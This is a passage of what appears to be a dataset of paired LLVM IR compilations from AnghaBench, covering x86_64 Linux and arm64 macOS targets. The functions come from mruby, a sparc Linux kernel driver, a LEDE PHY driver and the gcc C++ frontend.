declare i32 @printf(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/mruby/mrbgems/mruby-bin-mirb/tools/mirb/extr_mirb.c_usage.c'
source_filename = "AnghaBench/mruby/mrbgems/mruby-bin-mirb/tools/mirb/extr_mirb.c_usage.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [10 x i8] c"switches:\00", align 1
@.str.1 = private unnamed_addr constant [53 x i8] c"-d set $DEBUG to true (same as `mruby -d`)\00", align 1
@.str.2 = private unnamed_addr constant [32 x i8] c"-r library same as `mruby -r`\00", align 1
@.str.3 = private unnamed_addr constant [60 x i8] c"-v print version number, then run in verbose mode\00", align 1
@.str.4 = private unnamed_addr constant [33 x i8] c"--verbose run in verbose mode\00", align 1
@.str.5 = private unnamed_addr constant [31 x i8] c"--version print the version\00", align 1
@.str.6 = private unnamed_addr constant [33 x i8] c"--copyright print the copyright\00", align 1
@.str.7 = private unnamed_addr constant [48 x i8] c"Usage: %s [switches] [programfile] [arguments]\0A\00", align 1
@.str.8 = private unnamed_addr constant [6 x i8] c" %s\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @usage], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @usage(ptr noundef %0) #0 {
%2 = tail call i32 @printf(ptr noundef nonnull @.str.7, ptr noundef %0) #2
%3 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str) #2
%4 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.1) #2
%5 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.2) #2
%6 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.3) #2
%7 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.4) #2
%8 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.5) #2
%9 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.6) #2
ret void
}
declare i32 @printf(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| mruby_mrbgems_mruby-bin-mirb_tools_mirb_extr_mirb.c_usage |
; ModuleID = 'AnghaBench/linux/arch/sparc/kernel/extr_viohs.c_flush_rx_dring.c'
source_filename = "AnghaBench/linux/arch/sparc/kernel/extr_viohs.c_flush_rx_dring.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.vio_driver_state = type { i32, ptr, ptr }
%struct.vio_dring_state = type { i32 }
@VIO_DR_STATE_RXREG = dso_local local_unnamed_addr global i32 0, align 4
@VIO_DRIVER_RX_RING = dso_local local_unnamed_addr global i64 0, align 8
@llvm.compiler.used = appending global [1 x ptr] [ptr @flush_rx_dring], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @flush_rx_dring(ptr nocapture noundef %0) #0 {
%2 = load i32, ptr %0, align 8, !tbaa !5
%3 = load i32, ptr @VIO_DR_STATE_RXREG, align 4, !tbaa !11
%4 = and i32 %3, %2
%5 = icmp eq i32 %4, 0
%6 = zext i1 %5 to i32
%7 = tail call i32 @BUG_ON(i32 noundef %6) #2
%8 = getelementptr inbounds %struct.vio_driver_state, ptr %0, i64 0, i32 2
%9 = load ptr, ptr %8, align 8, !tbaa !12
%10 = load i64, ptr @VIO_DRIVER_RX_RING, align 8, !tbaa !13
%11 = getelementptr inbounds %struct.vio_dring_state, ptr %9, i64 %10
%12 = load i32, ptr %11, align 4, !tbaa !15
%13 = getelementptr inbounds %struct.vio_driver_state, ptr %0, i64 0, i32 1
%14 = load ptr, ptr %13, align 8, !tbaa !17
%15 = icmp eq ptr %14, null
%16 = zext i1 %15 to i32
%17 = tail call i32 @BUG_ON(i32 noundef %16) #2
%18 = load ptr, ptr %13, align 8, !tbaa !17
%19 = tail call i32 @kfree(ptr noundef %18) #2
store ptr null, ptr %13, align 8, !tbaa !17
%20 = tail call i32 @memset(ptr noundef nonnull %11, i32 noundef 0, i32 noundef 4) #2
store i32 %12, ptr %11, align 4, !tbaa !15
ret void
}
declare i32 @BUG_ON(i32 noundef) local_unnamed_addr #1
declare i32 @kfree(ptr noundef) local_unnamed_addr #1
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"vio_driver_state", !7, i64 0, !10, i64 8, !10, i64 16}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!7, !7, i64 0}
!12 = !{!6, !10, i64 16}
!13 = !{!14, !14, i64 0}
!14 = !{!"long", !8, i64 0}
!15 = !{!16, !7, i64 0}
!16 = !{!"vio_dring_state", !7, i64 0}
!17 = !{!6, !10, i64 8}
| ; ModuleID = 'AnghaBench/linux/arch/sparc/kernel/extr_viohs.c_flush_rx_dring.c'
source_filename = "AnghaBench/linux/arch/sparc/kernel/extr_viohs.c_flush_rx_dring.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.vio_dring_state = type { i32 }
@VIO_DR_STATE_RXREG = common local_unnamed_addr global i32 0, align 4
@VIO_DRIVER_RX_RING = common local_unnamed_addr global i64 0, align 8
@llvm.used = appending global [1 x ptr] [ptr @flush_rx_dring], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @flush_rx_dring(ptr nocapture noundef %0) #0 {
%2 = load i32, ptr %0, align 8, !tbaa !6
%3 = load i32, ptr @VIO_DR_STATE_RXREG, align 4, !tbaa !12
%4 = and i32 %3, %2
%5 = icmp eq i32 %4, 0
%6 = zext i1 %5 to i32
%7 = tail call i32 @BUG_ON(i32 noundef %6) #2
%8 = getelementptr inbounds i8, ptr %0, i64 16
%9 = load ptr, ptr %8, align 8, !tbaa !13
%10 = load i64, ptr @VIO_DRIVER_RX_RING, align 8, !tbaa !14
%11 = getelementptr inbounds %struct.vio_dring_state, ptr %9, i64 %10
%12 = load i32, ptr %11, align 4, !tbaa !16
%13 = getelementptr inbounds i8, ptr %0, i64 8
%14 = load ptr, ptr %13, align 8, !tbaa !18
%15 = icmp eq ptr %14, null
%16 = zext i1 %15 to i32
%17 = tail call i32 @BUG_ON(i32 noundef %16) #2
%18 = load ptr, ptr %13, align 8, !tbaa !18
%19 = tail call i32 @kfree(ptr noundef %18) #2
store ptr null, ptr %13, align 8, !tbaa !18
%20 = tail call i32 @memset(ptr noundef nonnull %11, i32 noundef 0, i32 noundef 4) #2
store i32 %12, ptr %11, align 4, !tbaa !16
ret void
}
declare i32 @BUG_ON(i32 noundef) local_unnamed_addr #1
declare i32 @kfree(ptr noundef) local_unnamed_addr #1
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"vio_driver_state", !8, i64 0, !11, i64 8, !11, i64 16}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!8, !8, i64 0}
!13 = !{!7, !11, i64 16}
!14 = !{!15, !15, i64 0}
!15 = !{!"long", !9, i64 0}
!16 = !{!17, !8, i64 0}
!17 = !{!"vio_dring_state", !8, i64 0}
!18 = !{!7, !11, i64 8}
| linux_arch_sparc_kernel_extr_viohs.c_flush_rx_dring |
; ModuleID = 'AnghaBench/lede/target/linux/generic/files/drivers/net/phy/extr_rtl8366_smi.c_rtl8366_smi_stop.c'
source_filename = "AnghaBench/lede/target/linux/generic/files/drivers/net/phy/extr_rtl8366_smi.c_rtl8366_smi_stop.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.rtl8366_smi = type { i32, i32 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @rtl8366_smi_stop], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @rtl8366_smi_stop(ptr noundef %0) #0 {
%2 = load i32, ptr %0, align 4, !tbaa !5
%3 = getelementptr inbounds %struct.rtl8366_smi, ptr %0, i64 0, i32 1
%4 = load i32, ptr %3, align 4, !tbaa !10
%5 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%6 = tail call i32 @gpio_set_value(i32 noundef %2, i32 noundef 0) #2
%7 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%8 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%9 = tail call i32 @gpio_set_value(i32 noundef %2, i32 noundef 1) #2
%10 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%11 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%12 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%13 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 0) #2
%14 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%15 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%16 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%17 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 0) #2
%18 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%19 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%20 = tail call i32 @gpio_direction_input(i32 noundef %2) #2
%21 = tail call i32 @gpio_direction_input(i32 noundef %4) #2
ret void
}
declare i32 @rtl8366_smi_clk_delay(ptr noundef) local_unnamed_addr #1
declare i32 @gpio_set_value(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @gpio_direction_input(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"rtl8366_smi", !7, i64 0, !7, i64 4}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!6, !7, i64 4}
| ; ModuleID = 'AnghaBench/lede/target/linux/generic/files/drivers/net/phy/extr_rtl8366_smi.c_rtl8366_smi_stop.c'
source_filename = "AnghaBench/lede/target/linux/generic/files/drivers/net/phy/extr_rtl8366_smi.c_rtl8366_smi_stop.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @rtl8366_smi_stop], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @rtl8366_smi_stop(ptr noundef %0) #0 {
%2 = load i32, ptr %0, align 4, !tbaa !6
%3 = getelementptr inbounds i8, ptr %0, i64 4
%4 = load i32, ptr %3, align 4, !tbaa !11
%5 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%6 = tail call i32 @gpio_set_value(i32 noundef %2, i32 noundef 0) #2
%7 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%8 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%9 = tail call i32 @gpio_set_value(i32 noundef %2, i32 noundef 1) #2
%10 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%11 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%12 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%13 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 0) #2
%14 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%15 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%16 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%17 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 0) #2
%18 = tail call i32 @rtl8366_smi_clk_delay(ptr noundef nonnull %0) #2
%19 = tail call i32 @gpio_set_value(i32 noundef %4, i32 noundef 1) #2
%20 = tail call i32 @gpio_direction_input(i32 noundef %2) #2
%21 = tail call i32 @gpio_direction_input(i32 noundef %4) #2
ret void
}
declare i32 @rtl8366_smi_clk_delay(ptr noundef) local_unnamed_addr #1
declare i32 @gpio_set_value(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @gpio_direction_input(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"rtl8366_smi", !8, i64 0, !8, i64 4}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!7, !8, i64 4}
| lede_target_linux_generic_files_drivers_net_phy_extr_rtl8366_smi.c_rtl8366_smi_stop |
; ModuleID = 'AnghaBench/freebsd/contrib/gcc/cp/extr_typeck.c_build_static_cast.c'
source_filename = "AnghaBench/freebsd/contrib/gcc/cp/extr_typeck.c_build_static_cast.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@error_mark_node = dso_local local_unnamed_addr global i64 0, align 8
@processing_template_decl = dso_local local_unnamed_addr global i64 0, align 8
@STATIC_CAST_EXPR = dso_local local_unnamed_addr global i32 0, align 4
@REFERENCE_TYPE = dso_local local_unnamed_addr global i64 0, align 8
@NOP_EXPR = dso_local local_unnamed_addr global i64 0, align 8
@.str = private unnamed_addr constant [46 x i8] c"invalid static_cast from type %qT to type %qT\00", align 1
; Function Attrs: nounwind uwtable
define dso_local i64 @build_static_cast(i64 noundef %0, i64 noundef %1) local_unnamed_addr #0 {
%3 = alloca i32, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %3) #3
%4 = load i64, ptr @error_mark_node, align 8, !tbaa !5
%5 = icmp eq i64 %4, %0
%6 = icmp eq i64 %4, %1
%7 = or i1 %5, %6
br i1 %7, label %39, label %8
8: ; preds = %2
%9 = load i64, ptr @processing_template_decl, align 8, !tbaa !5
%10 = icmp eq i64 %9, 0
br i1 %10, label %15, label %11
11: ; preds = %8
%12 = load i32, ptr @STATIC_CAST_EXPR, align 4, !tbaa !9
%13 = tail call i64 @build_min(i32 noundef %12, i64 noundef %0, i64 noundef %1) #3
%14 = tail call i64 @convert_from_reference(i32 noundef 1) #3
br label %39
15: ; preds = %8
%16 = tail call i64 @TREE_CODE(i64 noundef %0) #3
%17 = load i64, ptr @REFERENCE_TYPE, align 8, !tbaa !5
%18 = icmp eq i64 %16, %17
br i1 %18, label %30, label %19
19: ; preds = %15
%20 = tail call i64 @TREE_CODE(i64 noundef %1) #3
%21 = load i64, ptr @NOP_EXPR, align 8, !tbaa !5
%22 = icmp eq i64 %20, %21
br i1 %22, label %23, label %30
23: ; preds = %19
%24 = tail call i64 @TREE_TYPE(i64 noundef %1) #3
%25 = tail call i64 @TREE_OPERAND(i64 noundef %1, i32 noundef 0) #3
%26 = tail call i64 @TREE_TYPE(i64 noundef %25) #3
%27 = icmp eq i64 %24, %26
br i1 %27, label %28, label %30
28: ; preds = %23
%29 = tail call i64 @TREE_OPERAND(i64 noundef %1, i32 noundef 0) #3
br label %30
30: ; preds = %28, %23, %19, %15
%31 = phi i64 [ %29, %28 ], [ %1, %23 ], [ %1, %19 ], [ %1, %15 ]
%32 = call i64 @build_static_cast_1(i64 noundef %0, i64 noundef %31, i32 noundef 0, ptr noundef nonnull %3) #3
%33 = load i32, ptr %3, align 4, !tbaa !9
%34 = icmp eq i32 %33, 0
br i1 %34, label %35, label %39
35: ; preds = %30
%36 = call i64 @TREE_TYPE(i64 noundef %31) #3
%37 = call i32 @error(ptr noundef nonnull @.str, i64 noundef %36, i64 noundef %0) #3
%38 = load i64, ptr @error_mark_node, align 8, !tbaa !5
br label %39
39: ; preds = %2, %30, %35, %11
%40 = phi i64 [ %14, %11 ], [ %38, %35 ], [ %32, %30 ], [ %4, %2 ]
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %3) #3
ret i64 %40
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i64 @build_min(i32 noundef, i64 noundef, i64 noundef) local_unnamed_addr #2
declare i64 @convert_from_reference(i32 noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
declare i64 @TREE_CODE(i64 noundef) local_unnamed_addr #2
declare i64 @TREE_TYPE(i64 noundef) local_unnamed_addr #2
declare i64 @TREE_OPERAND(i64 noundef, i32 noundef) local_unnamed_addr #2
declare i64 @build_static_cast_1(i64 noundef, i64 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @error(ptr noundef, i64 noundef, i64 noundef) local_unnamed_addr #2
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"long", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"int", !7, i64 0}
| ; ModuleID = 'AnghaBench/freebsd/contrib/gcc/cp/extr_typeck.c_build_static_cast.c'
source_filename = "AnghaBench/freebsd/contrib/gcc/cp/extr_typeck.c_build_static_cast.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@error_mark_node = common local_unnamed_addr global i64 0, align 8
@processing_template_decl = common local_unnamed_addr global i64 0, align 8
@STATIC_CAST_EXPR = common local_unnamed_addr global i32 0, align 4
@REFERENCE_TYPE = common local_unnamed_addr global i64 0, align 8
@NOP_EXPR = common local_unnamed_addr global i64 0, align 8
@.str = private unnamed_addr constant [46 x i8] c"invalid static_cast from type %qT to type %qT\00", align 1
; Function Attrs: nounwind ssp uwtable(sync)
define i64 @build_static_cast(i64 noundef %0, i64 noundef %1) local_unnamed_addr #0 {
%3 = alloca i32, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %3) #3
%4 = load i64, ptr @error_mark_node, align 8, !tbaa !6
%5 = icmp eq i64 %4, %0
%6 = icmp eq i64 %4, %1
%7 = or i1 %5, %6
br i1 %7, label %39, label %8
8: ; preds = %2
%9 = load i64, ptr @processing_template_decl, align 8, !tbaa !6
%10 = icmp eq i64 %9, 0
br i1 %10, label %15, label %11
11: ; preds = %8
%12 = load i32, ptr @STATIC_CAST_EXPR, align 4, !tbaa !10
%13 = tail call i64 @build_min(i32 noundef %12, i64 noundef %0, i64 noundef %1) #3
%14 = tail call i64 @convert_from_reference(i32 noundef 1) #3
br label %39
15: ; preds = %8
%16 = tail call i64 @TREE_CODE(i64 noundef %0) #3
%17 = load i64, ptr @REFERENCE_TYPE, align 8, !tbaa !6
%18 = icmp eq i64 %16, %17
br i1 %18, label %30, label %19
19: ; preds = %15
%20 = tail call i64 @TREE_CODE(i64 noundef %1) #3
%21 = load i64, ptr @NOP_EXPR, align 8, !tbaa !6
%22 = icmp eq i64 %20, %21
br i1 %22, label %23, label %30
23: ; preds = %19
%24 = tail call i64 @TREE_TYPE(i64 noundef %1) #3
%25 = tail call i64 @TREE_OPERAND(i64 noundef %1, i32 noundef 0) #3
%26 = tail call i64 @TREE_TYPE(i64 noundef %25) #3
%27 = icmp eq i64 %24, %26
br i1 %27, label %28, label %30
28: ; preds = %23
%29 = tail call i64 @TREE_OPERAND(i64 noundef %1, i32 noundef 0) #3
br label %30
30: ; preds = %28, %23, %19, %15
%31 = phi i64 [ %29, %28 ], [ %1, %23 ], [ %1, %19 ], [ %1, %15 ]
%32 = call i64 @build_static_cast_1(i64 noundef %0, i64 noundef %31, i32 noundef 0, ptr noundef nonnull %3) #3
%33 = load i32, ptr %3, align 4, !tbaa !10
%34 = icmp eq i32 %33, 0
br i1 %34, label %35, label %39
35: ; preds = %30
%36 = call i64 @TREE_TYPE(i64 noundef %31) #3
%37 = call i32 @error(ptr noundef nonnull @.str, i64 noundef %36, i64 noundef %0) #3
%38 = load i64, ptr @error_mark_node, align 8, !tbaa !6
br label %39
39: ; preds = %2, %30, %35, %11
%40 = phi i64 [ %14, %11 ], [ %38, %35 ], [ %32, %30 ], [ %4, %2 ]
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %3) #3
ret i64 %40
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i64 @build_min(i32 noundef, i64 noundef, i64 noundef) local_unnamed_addr #2
declare i64 @convert_from_reference(i32 noundef) local_unnamed_addr #2
